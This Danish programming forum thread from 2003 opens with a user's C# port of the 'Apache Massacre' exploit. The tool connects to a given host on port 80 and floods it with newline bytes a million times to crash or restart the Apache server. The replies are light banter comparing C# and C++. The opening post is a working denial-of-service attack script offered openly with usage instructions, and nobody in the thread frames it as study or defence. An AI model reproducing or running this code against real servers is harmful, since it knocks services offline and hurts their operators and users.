Avatar billede burningice Nybegynder
11. april 2003 - 10:02 Der er 4 kommentarer og
2 løsninger

Apache Massacre i c#

Hvorfor er det at sådanne exploits altid skal skrive i c++... jeg kunne i hvert fald ikke compile kode, så efter en 1 time gav jeg op og skrev det i c# istedet. Tænk, det fylder faktisk meget mindre, og koden er meget pænere :)

Usage: fil.exe host

using System;
using System.Text;
using System.Net;
using System.Net.Sockets;

namespace Apache_Massacre
{
    /// <summary>
    /// Summary description for Class1.
    /// </summary>
    class Class1
    {
        /// <summary>
        /// The main entry point for the application.
        /// </summary>
        [STAThread]
        static void Main(string[] args)
        {
            string host = args[0];
            IPAddress ip = Dns.Resolve(host).AddressList[0];
            IPEndPoint EPhost = new IPEndPoint(ip, 80);

            Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);

            s.Connect(EPhost);
            if (!s.Connected)
            {
                Console.WriteLine("Unable to connect");
                return;
            }

            Console.WriteLine("Connected... beginning to send");
           
            string send = "\n\n\n\n\n\n\n\n\n";
            byte[] byteSend = Encoding.ASCII.GetBytes(send);
           
            for (int i = 0; i < 1000000; i++)
            {
                try
                {
                    s.Send(byteSend, byteSend.Length, SocketFlags.None);
                }
                catch (SocketException)
                {
                    Console.WriteLine("Connection lost... server might have restarted");
                    break;
                }
            }
        }
    }
}
Avatar billede burningice Nybegynder
11. april 2003 - 10:03 #1
Avatar billede nielslbeck Nybegynder
11. april 2003 - 10:24 #2
Fint nok... og hvad får man så points for her? Et svar? For så er mit svar: Fint :-)
Avatar billede burningice Nybegynder
11. april 2003 - 11:26 #3
hehe... hvis du nu sviner c++ til, så skal du nok få point ;)
Avatar billede nielslbeck Nybegynder
11. april 2003 - 11:36 #4
C++? Hvorfor skulle jeg svine C++ til??? Bare fordi det er et frygtelig gammelt sprog som måske nok var okay engang (for mange år siden), men som i dag er milevidt bagefter C#? Næh, den går jeg ikke med til! Hvorfor nøjes med nogle få linier C# kode når man kan skrive side op og side ned i C++ for at gøre det samme? Og pointere? Det er da en fantastisk ting som man kan gøre meget skade med! Så hvorfor bruge C# hvor man skal gøre sin kode unsafe når man i C++ automatisk arbejder med unsafe kode? Næh du, jeg har aldrig helt forstået det nymodens noget med C#... C++ styrer - og hvis det skal være helt vildt vil jeg nok foretrække C - så slipper man også for alle de irriterende objekter der alligevel bare er et modefænomen ;-)

Okay? :-)
Avatar billede burningice Nybegynder
11. april 2003 - 11:50 #5
nielslbeck>> ja, så får du da slet ikke nogen point ;)
Avatar billede burningice Nybegynder
30. april 2003 - 20:15 #6
.
Avatar billede Ny bruger Nybegynder

Din løsning...

Tilladte BB-code-tags: [b]fed[/b] [i]kursiv[/i] [u]understreget[/u] Web- og emailadresser omdannes automatisk til links. Der sættes "nofollow" på alle links.

Loading billede Opret Preview
Kategori
IT-kurser om Microsoft 365, sikkerhed, personlig vækst, udvikling, digital markedsføring, grafisk design, SAP og forretningsanalyse.

Log ind eller opret profil

Hov!

For at kunne deltage på Computerworld Eksperten skal du være logget ind.

Det er heldigvis nemt at oprette en bruger: Det tager to minutter og du kan vælge at bruge enten e-mail, Facebook eller Google som login.

Du kan også logge ind via nedenstående tjenester

IT-JOB